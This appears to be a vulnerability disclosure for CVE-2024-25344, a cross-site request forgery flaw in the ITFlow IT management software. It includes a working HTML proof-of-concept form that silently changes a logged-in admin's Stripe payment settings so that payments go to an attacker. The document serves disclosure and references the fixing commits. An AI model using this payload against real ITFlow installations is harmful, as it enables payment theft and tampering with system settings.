ITFlow versions prior to commit 432488eca3998c5be6b6b9e8f8ba01f54bc12378 suffer from a cross site request forgery vulnerability.
e3baa15b97468f1a53ed93305b65d681ec3ea083d106863615e6c678b4218084
# CVE: CVE-2024-25344
# CWE: CWE-352
# Vendor: ITFlow.org
# Affected product: ITFlow - Before commit 432488eca3998c5be6b6b9e8f8ba01f54bc12378
# Discoverer: stehled, WP-Pomoc.cz
# Attack-Type: Remote
# AV: Admin user has to open a page, provided by an attacker, which will then perform malicious request changing system settings.
Open source ITFlow was vulnerable to CSRF prior commit 432488eca3998c5be6b6b9e8f8ba01f54bc12378
This vulnerability allowed an attacker to change system settings such as online payment information and Microsoft Azure SSO credentials.
If admin user is logged in, we can, using provided PoC redirect him to post.php endpoint and make changes to the system. PoC below makes changes to Stripe related settings, which will lead to attacker receiving payments made through the system.
<html>
<form enctype="multipart/form-data" method="POST" action="https://demo.itflow.org/post.php">
<table>
<tr><td>edit_online_payment_settings</td><td><input type="text" value="" name="edit_online_payment_settings"></td></tr>
<tr><td>config_stripe_enable</td><td><input type="text" value="1" name="config_stripe_enable"></td></tr>
<tr><td>config_stripe_publishable</td><td><input type="text" value="csrf-poc" name="config_stripe_publishable"></td></tr>
<tr><td>config_stripe_secret</td><td><input type="text" value="csrf-poc-secret" name="config_stripe_secret"></td></tr>
<tr><td>config_stripe_account</td><td><input type="text" value="1" name="config_stripe_account"></td></tr>
</table>
<input type="submit" value="https://demo.itflow.org/post.php">
</form>
</html>
# Reference
https://itflow.org/
https://github.com/itflow-org/itflow/commit/432488eca3998c5be6b6b9e8f8ba01f54bc12378
https://github.com/itflow-org/itflow/commit/8068cb6081e4760860a634c1066b2c64d0ee2d46